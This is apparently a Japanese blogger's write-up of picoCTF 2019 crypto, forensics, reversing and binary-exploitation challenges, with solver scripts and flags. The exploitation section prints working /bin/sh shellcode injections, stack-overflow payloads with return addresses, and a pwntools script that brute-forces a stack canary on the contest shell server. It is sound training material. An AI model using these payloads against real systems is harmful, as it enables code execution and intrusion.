import os import math BLOCK_SIZE = 16 UMAX = int(math.pow(256, BLOCK_SIZE)) def to_bytes(n): s = hex(n) s_n = s[2:] if 'L' in s_n: s_n = s_n.replace('L', '') if len(s_n) % 2 != 0: s_n = '0' + s_n decoded = s_n.decode('hex') pad = (len(decoded) % BLOCK_SIZE) if pad != 0: decoded = "\0" * (BLOCK_SIZE - pad) + decoded return decoded def remove_line(s): # returns the header line, and the rest of the file return s[:s.index('\n') + 1], s[s.index('\n')+1:] def parse_header_ppm(f): data = f.read() header = "" for i in range(3): header_i, data = remove_line(data) header += header_i return header, data def pad(pt): padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE return pt + (chr(padding) * padding) def aes_decrypt(pt): blocks = [pt[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(pt) / BLOCK_SIZE)] dec_blocks = [] for i in range(len(blocks) - 1): prev_blk = int(blocks[i].encode('hex'), 16) curr_blk = int(blocks[i+1].encode('hex'), 16) if curr_blk >= prev_blk: curr_blk -= prev_blk else : curr_blk += UMAX - prev_blk dec_blocks.append(to_bytes(curr_blk)) ct = "".join(dec_blocks) return ct if __name__=="__main__": with open('body.enc.ppm', 'rb') as f: header, data = parse_header_ppm(f) c_img = aes_decrypt(data) with open('flag.enc.ppm', 'wb') as fw: fw.write(header) fw.write(c_img)
復元した画像はこんな感じです。
picoCTF{d0Nt_r0ll_yoUr_0wN_aES}
b00tl3gRSA2 - Points: 400
問題文のポートにつなぐと、c,n,eが与えられます。eが明らかに大きいので、dが相対的に小さくなり"Wiener's Attack"が利用できます。実装についてはこちら のものを使わせてもらいました。攻撃の理論部分もかなり面白いのでぜひ調べてみると良いと思います。
ソースコード(クリックで展開)
import RSAwienerHacker as rsawh import binascii c = 56656100971322994378903659581639667263181025169563841204760923477990417055111694274001304671545458706809508633327999774788544358222043570769750574094503749486994396364755772673516109027699315090811393957018347610684687643062104294568474958269601295497106521770293630342981421588503765175127545000305814657624 n = 169000617939475801719232926392594204887911653053669296450848250211503954757658258234361673045917611395259753314167507543751066867190908987523685631637937192670609240949185700930384967901772322486050400940374318831849069624832555722418977368443238543700482289040123386181870006174103488023700939578656185054937 e = 104282847696299821803344363387346226492929905999517621320358015144929122944286433053047683872879567340957084151318095199189666052904471664181421898216857332802058136865784974831238500750179306840273961942548992060472115990213765273638748205448948273951778916591430934374621323186086558063656343812287804940673 d = rsawh.hack_RSA(e,n) print(d) hex_m = hex(pow(c,d,n)) print(hex_m[2:]) print(binascii.a2b_hex(hex_m[2:]))
picoCTF{bad_1d3a5_9093280}
b00tl3gRSA3 - Points: 450
問題文ポートにつなぐとまたc,n,eが与えられます。問題文を眺めると因数がたくさんある様子なので因数分解をします。ポラード・ロー素因数分解法を自分で実装しても良いですが、こちらなどが大きな数でも因数分解をしてくれて便利です。
素因数がたくさん出てくるので、あとは d*e = 1 (mod phi), phi = (p1 - 1)*(p2 - 1).....,
の形になっていると信じて解いてみるとフラグが手に入ります。
ソースコード(クリックで展開)
import binascii from mod_inv import * c = 149158883771914921923806068850983023165740567205210384873334937018434526829517522001311943462182663087570824161722421702800201427238288971370150701692753312378406401731494132140633572524085865040120432164269757360338534999470179976867397488905350358425756277194170198811527908198663537588539417362202409937355142573478973064234657480939486097257 n = 230699033587665286936584642628786787279426592357706758223867524624080834737196424617764347273248133236241393977130481534349686443402748162830594237827367339803533727868145899400852723632522330522775069514050718762925278826698631172171033031543047039452762907792614239450691952895205834947039925117195161778319750579346807807375464072135497645139 e = 65537 #https://www.alpertron.com.ar/ECM.HTM n2 = 8793751579 * 8827824331 * 9033456253 * 9779185673 * 9801221233 * 10986884977 * 11088526499 * 11088612263 * 11369072723 * 11744461997 * 11973204611 * 12326340337 * 13162938961 * 13313251513 * 13989050947 * 14139985147 * 14235627239 * 14359731011 * 14421584161 * 14780897407 * 14877678821 * 15514838813 * 15621951809 * 15781325057 * 15842631697 * 15850435681 * 16342237957 * 16357213303 * 16457811037 * 16500533449 * 16657762003 * 16974969637 * 16999298507 * 17118453767 print(n==n2) fact = [8793751579, 8827824331, 9033456253, 9779185673 , 9801221233 , 10986884977 , 11088526499 , 11088612263 ,11369072723 , 11744461997 , 11973204611 , 12326340337 , 13162938961 , 13313251513 ,13989050947 , 14139985147 , 14235627239 ,14359731011 , 14421584161 , 14780897407 , 14877678821 , 15514838813 , 15621951809 , 15781325057 , 15842631697 ,15850435681 ,16342237957 , 16357213303 , 16457811037 , 16500533449 ,16657762003 , 16974969637 , 16999298507 , 17118453767] print(fact) phi = 1 for f in fact: phi *= f - 1 print(phi) d = mod_inv(e,phi) print(d*e%phi) # == 1 hex_m = hex(pow(c,d,n)) print(hex_m[2:]) print(binascii.a2b_hex(hex_m[2:]))
picoCTF{too_many_fact0rs_8024768}
john_pollard - Points: 500
サーバ証明書に関する問題です。実際にRSA暗号が使われている例ということで面白いですね。
与えられた証明書をこちらなどで調べてみるとmが明らかに小さいので素因数分解します。
Certificate: Data: Version: 1 (0x0) Serial Number: 12345 (0x3039) Signature Algorithm: md2WithRSAEncryption Issuer: CN=PicoCTF Validity Not Before: Jul 8 07:21:18 2019 GMT Not After : Jun 26 17:34:38 2019 GMT Subject: OU=PicoCTF, O=PicoCTF, L=PicoCTF, ST=PicoCTF, C=US, CN=PicoCTF Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (53 bit) Modulus: 4966306421059967 (0x11a4d45212b17f) Exponent: 65537 (0x10001) Signature Algorithm: md2WithRSAEncryption 07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb: 9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a: c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc: b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c: a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9: a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2: 6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35: a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35: 35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8: d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc: 8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e: de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63: cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e: 43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1: 25:9a:fd:5f
picoCTF{73176001,67867967}
Forensics
Glory of the Garden - Points: 50
画像が与えられるので、strings garden.jpg | grep pico
します。
picoCTF{more_than_m33ts_the_3y3b7FBD20b}
unzip - Points: 50
"flag.zip"が与えられるので展開します。
picoCTF{unz1pp1ng_1s_3a5y}
So Meta - Points: 150
strings pico_img.png | grep pico
します。問題名的にフラグが隠されている場所が前々問とは違うんでしょうけど、関係ありませんでした。
picoCTF{s0_m3ta_368a0341}
c0rrupt - Points: 250
ファイルが与えられます。ヒントの通りバイナリエディタで開いてみると、元はpngファイルであることが推測できます。PNGフォーマットを調べながら修正すると、pngファイルを復元できます。
picoCTF{c0rrupt10n_1847995}
pastaAAA - Points: 350
与えられた画像をステガノ解析するだけです。うさみみハリケーンのステガノ解析ツールを使いました。
0ビットと1ビットのビットプレーン画像を合成したものです。($に注意)
picoCTF{pa$ta_1s_lyf3}
m00nwalk - Points: 250
音声ファイルが与えられます。ヒントなどをもとに調べまくると、画像を音声に変換する"Slow-Scan Television (SSTV)"という方法がでてきます(ヒントのScottie dogは少し遠すぎませんか笑)。
ツールで調べると一番に出るMMSSTVを使って音声から画像を復元します(普通にスピーカーで流してマイクから取得しました)。Scottie 1という形式みたいですが、ツールが勝手に認識してくれます。そのままではうまくいかず、"自動傾き調整"というメニューを選択したら画像が表示されました。結構面白かったです。
picoCTF{beep_boop_im_in_space}
m00nwalk2 - Points: 300
前問の続きです。音声ファイルが4つ与えられ、1つは前問と全く同じもののようです。それぞれ違う形式でしたが、ツールが勝手に認識して復元してくれます。
ヒントを眺めると、元の音声ファイルをさらにステガノ解析すれば良さそうです。
"alan eliasen future boy"でググるとステガノ解析ツールがでてくるので、それと画像のパスワードを使ってフラグを求めます。
picoCTF{the_answer_lies_hidden_in_plain_sight}
Investigative Reversing 0 - Points: 300
バイナリファイルと画像が与えられます。
とりあえずバイナリファイルをradare2で解析してみます(r2decというプラグインを入れています)。
解析結果のCの擬似コード(クリックで展開)
int32_t main (void) { int32_t c; int32_t var_4ch; int32_t var_48h; size_t var_44h; file* stream; file* var_38h; void * ptr; int32_t var_2fh; int32_t var_2eh; int32_t var_2dh; int32_t var_2ch; int32_t var_2bh; int32_t var_21h; int32_t canary; rax = *(fs:0x28); canary = *(fs:0x28); eax = 0; rax = fopen ("flag.txt", 0x00002008); stream = rax; rax = fopen ("mystery.png", 0x00002013); var_38h = rax; if (stream == 0) { puts ("No flag found, please make sure this is run on the server"); } if (var_38h == 0) { puts ("mystery.png is missing, please run this on the server"); } rdx = stream; rax = &ptr; eax = fread (rax, 0x1a, 1, rdx); var_44h = eax; if (var_44h <= 0) { exit (0); } puts ("at insert"); eax = (int32_t) ptr; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_2fh; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_2eh; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_2dh; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_2ch; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_2bh; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_4ch = 6; while (var_4ch <= 0xe) { eax = var_4ch; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); c = al; eax = (int32_t) c; eax += 5; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_4ch++; } eax = (int32_t) var_21h; c = al; eax = (int32_t) c; eax -= 3; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_48h = 0x10; while (var_48h <= 0x19) { eax = var_48h; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_48h++; } rax = var_38h; fclose (var_38h); rax = stream; fclose (stream); rax = canary; rax ^= *(fs:0x28); if (var_48h != 0x19) { stack_chk_fail (); } return rax; }
"flag.txt"と"mystery.png"を入力としてこのバイナリファイルを実行した結果が、与えられた"mystery.png"であることがわかりますね。eax = fread (rax, 0x1a, 1, rdx);
からフラグがpicoCTF{}
を含め、26文字であることがわかります。
次にstrings mystery.png
をしてみるとpicoCTK
とk5zsid6q_e66efc1b}
の怪しい文字列が出てきます。
前の解析で重要なのはこの辺りで、
var_4ch = 6; while (var_4ch <= 0xe) { eax = var_4ch; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); c = al; eax = (int32_t) c; eax += 5; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_4ch++; } eax = (int32_t) var_21h; c = al; eax = (int32_t) c; eax -= 3; c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_48h = 0x10; while (var_48h <= 0x19) { eax = var_48h; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); c = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); var_48h++; }
7-13文字目を-5, 14文字目を+3, あとはそのままにすると復元できるということがわかります。
これをもとにコードを書きます。
ソースコード(クリックで展開)
s = "picoCTF{k5zsid6q_e66efc1b}" ans = "" for i in range(len(s)): if 8 <= i and i <= 0xe: ans += chr(ord(s[i])-5) elif i == 0xf: ans += chr(ord(s[i])+3) else : ans += s[i] print(ans)
picoCTF{f0und_1t_e66efc1b}
Investigative Reversing 1 - Points: 350
与えられる画像が3枚になりましたが、やることは前問と同じようです。
解析結果のCの擬似コード(クリックで展開)
int32_t main (void) { int32_t var_63h; int32_t c; int32_t var_61h; int32_t var_60h; int32_t var_5ch; int32_t var_58h; size_t var_54h; file* stream; file* var_48h; file* var_40h; file* var_38h; void * ptr; int32_t var_2fh; int32_t var_2eh; int32_t var_2dh; int32_t var_2ch; int32_t var_2bh; int32_t canary; rax = *(fs:0x28); canary = *(fs:0x28); eax = 0; rax = fopen ("flag.txt", 0x00002008); stream = rax; rax = fopen ("mystery.png", 0x00002013); var_48h = rax; rax = fopen ("mystery2.png", 0x00002013); var_40h = rax; rax = fopen ("mystery3.png", 0x00002013); var_38h = rax; if (stream == 0) { puts ("No flag found, please make sure this is run on the server"); } if (var_48h == 0) { puts ("mystery.png is missing, please run this on the server"); } rdx = stream; rax = &ptr; eax = fread (rax, 0x1a, 1, rdx); var_54h = eax; eax = (int32_t) ptr; var_63h = al; eax = (int32_t) var_2fh; c = al; eax = (int32_t) var_63h; var_61h = al; eax = (int32_t) c; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_63h; eax += 7; var_63h = al; var_63h = 0x2a; eax = (int32_t) var_63h; edx = eax; dl >>= 7; eax += edx; al >>= 1; var_63h = al; edx = (int32_t) var_61h; eax = (int32_t) var_63h; eax += edx; var_61h = al; eax = (int32_t) var_61h; rdx = var_40h; fputc (eax, var_40h); eax = (int32_t) var_2eh; eax = (int32_t) al; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) var_2dh; var_63h = al; eax = (int32_t) var_2ch; c = al; eax = (int32_t) var_2bh; var_61h = al; eax = (int32_t) var_61h; rdx = var_38h; fputc (eax, var_38h); eax = (int32_t) c; rdx = var_48h; fputc (eax, var_48h); var_60h = 6; while (var_60h <= 9) { eax = var_60h; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); var_61h = al; eax = (int32_t) var_63h; eax++; var_63h = al; eax = (int32_t) var_61h; rdx = var_48h; fputc (eax, var_48h); var_60h++; } eax = (int32_t) var_63h; rdx = var_40h; fputc (eax, var_40h); var_5ch = 0xa; while (var_5ch <= 0xe) { eax = var_5ch; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); eax = (int32_t) al; rdx = var_38h; fputc (eax, var_38h); var_5ch++; } var_58h = 0xf; while (var_58h <= 0x19) { eax = var_58h; rax = (int64_t) eax; eax = *((rbp + rax - 0x30)); eax = (int32_t) al; rdx = var_48h; fputc (eax, var_48h); var_58h++; } rax = var_48h; fclose (var_48h); rax = stream; fclose (stream); rax = canary; rax ^= *(fs:0x28); if (var_58h != 0x19) { stack_chk_fail (); } return rax; }
stringsなどで各画像から文字列を取ってくると、1と3番目の画像からCF{An1_b179115e}
, icT0tha_
の怪しい文字列を拾ってこれます。
先ほどと同じように復元したかったのですが、前半の方でなかなか複雑な処理をしている上に長いので、コードを追うのが結構厳しいですね。
ということで、実際にpicoCTF{abcdefghijklmnopq}
などとして"flag.txt"を作成し、バイナリファイルを実行してみます。
すると、1番目の画像からCF{abhijklmnopq}
, 3番目の画像からicTcdefg
が得られ、見通しが良くなりました。
擬似コードを頑張って読み解きながら復元するコードを書きます。
ソースコード(クリックで展開)
p1 = 'CF{An1_b179115e}' p2 = '0x85' + 's' p3 = 'icT0tha_' c1 = 0 c2 = 0 c3 = 0 ans = "" for i in range(26): if i == 0 or i == 3: ans += p2[c2] c2 += 1 elif i == 1 or i == 2 or i == 5 or 10 <= i and i <= 14: ans += p3[c3] c3 += 1 else: ans += p1[c1] c1 += 1 print(ans)
完全に復元はできませんでしたが、読める程度にはなりました。
picoCTF{An0tha_1_b179115e}
Binary Exploit
handy-shellcode - Points: 50
バイナリファイルとCソースコードが与えられます。受け取った入力で((void (*)())buf)();
を実行しているのでシェルコードを流せばokです。
ここなどから適切なシェルコードを持ってきます(シェルを実行できる奴ならなんでも良いです)。あとは pythonのprintとパイプを使い文字列を入力します。;catはシェルがすぐに閉じてしまわないようにするためです。shellを奪えたらcat flag.txt
するだけです。
実行の様子(クリックで展開)
ユーザー名@pico-2019-shell1:/problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af(python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'";cat) |./vuln Enter your shellcode: j X�Rh//shh/bin��1�̀ Thanks! Executing now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}
pwn楽しいですね!
slippery-shellcode - Points: 200
前問と似ていますが、offset = (rand() % 256) + 1
が入力の文字列に足されています。
しかし、seedを設定していないので、リファレンスの"If no seed value is provided, the rand() function is automatically seeded with a value of 1."
の通り、常に同じ値を出す定数に過ぎないことがわかります。
手元で実行してみるとoffset = 104
となるので、buf+offset
は何が起こっているかというと、char配列の先頭のポインタbufに104を足す、つまり*(buf + 104)から'\0'が来るまでを入力として与えているのと同じです。
ここまでわかれば、前問のシェルコードの前に適当な104文字の文字列を足せば良いだけです。
せっかくなので前問とはちがうシェルコードを流してみます。
実行の様子(クリックで展開)
ユーザー名@pico-2019-shell1:/problems/slippery-shellcode_3_68613021756bf004b625d7b414243cd8$ (python -c "print 'a'*104 + '\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1'";cat) | ./vuln Enter your shellcode: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah̀hh��hj X1�Rh//shh/bin��RS���� Thanks! Executing from a random location now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{sl1pp3ry_sh311c0d3_de21cb07}
picoCTF{sl1pp3ry_sh311c0d3_de21cb07}
OverFlow 0 - Points: 100
適当にオーバーフローを起こしてみるだけでもフラグが表示されてしまうのですが、ちゃんと与えられたコードを読んでみます。
signal(SIGSEGV, sigsegv_handler);
でsighandlerが設定されています。これはシグナルSIGSEGV
が起こった時に、sigsegv_handler()
を実行する関数です。sigsegv_handler()
ではフラグをprintfしているため、オーバーフローでセグフォを起こすとフラグが表示されるということでした。
picoCTF{3asY_P3a5yd4a28467}
OverFlow 1 - Points: 150
前問と同じくvuln()でオーバーフローを起こせます。また、flag()というフラグを表示する関数があります。
ヒントやコードにも書かれている通り、オーバーフローでスタックを操作する問題の中で、リターンアドレスをいじって好きな関数に飛ぶという基本の問題です。
gdb-pedaで解析していきます。pattcコマンドで文字列を生成して入力し、pattoで何文字目でセグフォが起きるのか確認します。76文字目とわかった(64+4*3でも求まります)ので、info functionsやprint &flagなどをしてflag()のアドレスを調べます。
解析の様子(クリックで展開)
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' Starting program: ディレクトリ/overflow1/vuln [----------------------------------registers-----------------------------------] EAX: 0x41344141 ('AA4A') EBX: 0x0 ECX: 0x41344141 ('AA4A') EDX: 0xfef50000 ESI: 0x41344142 ('BA4A') EDI: 0xfffed440 EBP: 0x0 ESP: 0xfffec7f0 EIP: 0x600651d8 (movzx ebx,BYTE PTR [eax+edx*1]) EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x600651cf: dec eax 0x600651d0: mov edx,DWORD PTR ds:0x25a464a 0x600651d6: mov eax,eax => 0x600651d8: movzx ebx,BYTE PTR [eax+edx*1] 0x600651dc: cmp bl,0x66 0x600651df: je 0x600653c8 0x600651e5: ja 0x60065220 0x600651e7: cmp bl,0x36 [------------------------------------stack-------------------------------------] Invalid $SP address: 0xfffec7f0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x600651d8 in ?? () gdb-peda$ patto AA4A AA4A found at offset: 76 gdb-peda$ print &flag $1 = (<text variable, no debug info> *) 0x80485e6 <flag>
あとはアドレスをリトルエンディアンに直して入力するだけです。
ユーザー名@pico-2019-shell1:/problems/overflow-1_0_48b13c56d349b367a4d45d7d1aa31780$python -c "print 'a'*76 +'\xe6\x85\x04\x08'" | ./vuln Give me a string and lets see what happens: Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5c0178710}
OverFlow 2 - Points: 250
次は前問に加えて、関数の引数もいじる必要があります。
同様に解析すると188文字目がリターンアドレスの始まりのようです。flagのアドレスは先ほどと同じで、加えて引数1を0xDEADBEEF
, 引数2を0xC0DED00D
にする必要があります。32 bitであれば、リターンアドレス、引数1、引数2....とスタックに積まれていくので、flagのアドレス + ダミー + 0xDEADBEEF
+ 0xC0DED00D
と積めば良さそうです。
ユーザー名@pico-2019-shell1:/problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446$ python -c "print 'a'*188 +'\xe6\x85\x04\x08' + 'bbbb' + '\xef\xbe\xad\xde' + '\r\xd0\xde\xc0'" | ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���aaaaaaaaaaaaabbbbᆳ� picoCTF{arg5_and_r3turn51b106031}
NewOverFlow-1 - Points: 200
今度は64bit環境におけるオーバーフローの問題です。基本的には同じなのですが、ここやここに載っているような点に注意する必要があります。
前問までと同様にgdbを使うと72文字目(64+8)がスタートであることがわかります。flagのアドレスは0x00400767
なので、リトルエンディアンに直した'g\x07@\x00\x00\x00\x00\x00'
をオフセットの後に加えます。
これでflag()を実行できるのですが、"flag.txt"を自分のディレクトリに足して実行してみると、printfでセグフォを起こすことがわかります。これはThe MOVAPS issueと呼ばれるものようで、printfを呼ぶときにスタックが"16 byte aligned"
である必要があるみたいです(よく理解できていない)。
解決方法はここに書かれていて、適当なretのアドレスを加えてpayload = offset + ret_addr + flag_addr
の形にすればpushを相殺できるので良さそうです。他には、flag()の一番初めのpushを飛ばして2命令目のアドレスを入力しても解決できます。
今回はflag()のretのアドレスである0x004007cb
を使います。
ユーザー名@pico-2019-shell1:/problems/newoverflow-1_5_bd04c7682164df72135e036dd527b668$ python -c "print 'a'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_351346a2}
NewOverFlow-2 - Points: 250
前問の続きです。ソースコードを眺めるとwin_fn1(),win_fn2()の適切なアドレスと引数を与えてbool値win1, win2をtrueに変えた後にwin_fn()を起動するとフラグが表示されるようです。
が、 作者がNewOverFlow1を流用して作ったのか、1と同じflag()があります笑。こういうこともあるんですね。
せっかくなのでflag()の2命令目に飛ぶ方法も試してみます。gdb-pedaでdisas flagをして
アセンブリコードを見ます。pushをスキップして0x000000000040084e
に飛ばしてみます。
gdb-peda$ disas flag Dump of assembler code for function flag: 0x000000000040084d <+0>: push rbp 0x000000000040084e <+1>: mov rbp,rsp 0x0000000000400851 <+4>: sub rsp,0x50 0x0000000000400855 <+8>: lea rsi,[rip+0x16c] # 0x4009c8 0x000000000040085c <+15>: lea rdi,[rip+0x167] # 0x4009ca 0x0000000000400863 <+22>: call 0x400660 <fopen@plt> 0x0000000000400868 <+27>: mov QWORD PTR [rbp-0x8],rax 0x000000000040086c <+31>: cmp QWORD PTR [rbp-0x8],0x0 0x0000000000400871 <+36>: jne 0x400889 <flag+60> 0x0000000000400873 <+38>: lea rdi,[rip+0x15e] # 0x4009d8 0x000000000040087a <+45>: call 0x4005f0 <puts@plt> 0x000000000040087f <+50>: mov edi,0x0 0x0000000000400884 <+55>: call 0x400670 <exit@plt> 0x0000000000400889 <+60>: mov rdx,QWORD PTR [rbp-0x8] 0x000000000040088d <+64>: lea rax,[rbp-0x50] 0x0000000000400891 <+68>: mov esi,0x40 0x0000000000400896 <+73>: mov rdi,rax 0x0000000000400899 <+76>: call 0x400620 <fgets@plt> 0x000000000040089e <+81>: lea rax,[rbp-0x50] 0x00000000004008a2 <+85>: mov rdi,rax 0x00000000004008a5 <+88>: mov eax,0x0 0x00000000004008aa <+93>: call 0x400610 <printf@plt> 0x00000000004008af <+98>: nop 0x00000000004008b0 <+99>: leave 0x00000000004008b1 <+100>: ret End of assembler dump.
うまくいきました。
ユーザー名@pico-2019-shell1:/problems/newoverflow-2_3_3602cb64cd7f9512a10ae9139f8d8c2c$ python -c "print 'a'*72 + 'N\x08@\x00\x00\x00\x00\x00'" | ./vuln Welcome to 64-bit. Can you match these numbers? picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}
CanaRy - Points: 300
こちらもオーバーフローでスタックを書き換えてdisplay_flag()に飛ばす問題ですが、オーバーフローをチェックするcanaryが設定されています。canaryは4byteでread_canary()でサーバー上の"canary.txt"から読み込んでいるようなので、値は常に同じのようです。
オーバーフローでスタックをいじる際に間にcanaryがあるので、値の変更を検出してexit(-1)してしまいます。ということで、display_flag()に飛ばすためには、まずcanaryの値を調べてオーバーフローを検出されないようにする必要があります。
入力する文字数はこちら側で制御できるので、1文字ずつブルートフォースしていきます。ブルートフォースによってcanaryが求まったら、前問までと同様にgdbでdisplay_flag()のアドレスとオフセットの長さを求めてpayload = offest1 + canary + offset2 + display_flag_addr
という感じで入力すればokです。
この問題では更にPIEがenabledになっているので、このままではうまくいくとは限りません(数回試してたまたま表示されてしまったので途中まで気づいていませんでした)。
display_flag()の(相対)アドレス0x000007ed
は固定ですが、ベースアドレスはランダムな値を取ります(まだまだ理解があやふやなので間違ったことを言っている可能性があります)。しかし、このままで何度も送信すればそのうち通ります。
まとめるとブルートフォースによるcanaryの特定->オーバーフローによるリターンアドレスの書き換え->複数回実行によるPIEの回避の3段階でした。これで300点ってBinary Exploitationのコスパが悪すぎる……。
ソースコード(クリックで展開)
from pwn import * print('picoCTF shell server login') pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/canary_4_221260def5087dde9326fb0649b434a7') ####### bruteforce # canary = b'' # for i in range(4): # for c in range(0xff+1): # attack = b'a'*32 + canary + p8(c) # print(attack) # p = pico_ssh.process('./vuln') # p.recvuntil('Please enter the length of the entry:\n> ') # p.sendline(str(32+i+1)) # p.recvuntil('Input> ') # p.sendline(attack) # res = p.recvall() # print(res) # if b'Canary Value Corrupt!' not in res: # print(res) # canary += p8(c) # break # print(canary) disp_flag = p32(0x000007ed) canary = 'LjgH' attack = 'a'*32 + canary + 'a'*16 + disp_flag print(attack) while True: p = pico_ssh.process('./vuln') p.recvuntil('Please enter the length of the entry:\n> ') p.sendline('54') p.recvuntil('Input> ') p.sendline(attack) res = p.recvall() if 'picoCTF' in res: print(res) break
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_bf34cd22}
seed-sPRiNG - Points: 350
与えられたポートにつなぐと、数値を入力するだけの簡単なゲームが表示されます。適当に何回かプレイすると当たって次のステージに行けますが、次やるときはうまくいかないランダム化されていることがわかります。
radare2で与えられたバイナリファイルを解析してみると、
解析結果のCの擬似コード(クリックで展開)
int32_t main (int32_t arg_4h) { int32_t var_18h; uint32_t var_14h; time_t seed; int32_t var_ch; int32_t var_8h; ecx = &arg_4h; _x86_get_pc_thunk_bx (ecx, ebx, ebp); ebx += 0x183a; puts (ebx - 0x1570); puts (ebx - 0x1570); puts (ebx - 0x1560); puts (ebx - 0x1510); puts (ebx - 0x14c0); puts (ebx - 0x1470); puts (ebx - 0x1420); puts (ebx - 0x13d0); puts (ebx - 0x1560); puts (ebx - 0x1570); puts (ebx - 0x1570); puts (ebx - 0x1380); puts (ebx - 0x134f); puts (ebx - 0x1570); eax = *((ebx + 0x44)); eax = *(eax); fflush (eax); eax = time (0); seed = eax; srand (eax); var_ch = 1; while (var_ch <= 0x1e) { printf (ebx - 0x1338); puts (ebx - 0x1570); eax = rand (); eax &= 0xf; var_14h = eax; printf (ebx - 0x1329); eax = *((ebx + 0x44)); eax = *(eax); fflush (eax); isoc99_scanf (ebx - 0x1316, var_18h); eax = *((ebx + 0x40)); eax = *(eax); fflush (eax); eax = var_18h; if (var_14h != eax) { puts (ebx - 0x1310); eax = *((ebx + 0x44)); eax = *(eax); fflush (eax); exit (0xffffffffffffffff); } var_ch++; } puts (ebx - 0x12e8); get_flag (); eax = *((ebx + 0x44)); eax = *(eax); fflush (eax); eax = 0; esp = &var_8h; esp = ecx - 4; return eax; }
eax = time (0);
seed = eax;
srand (eax);
で現在時刻をseedに設定していることがわかり、
while (var_ch <= 0x1e) { ....... ........ eax = rand (); eax &= 0xf;
からrand()を2進数で表示した際の下5桁を比較していることがわかります(答えの範囲は0から15)。
以上からサーバーの時刻と自分の環境で時間を同期させればseedを特定することができ、ゲームの答えであるrand()&0xf
の値も全てわかります。
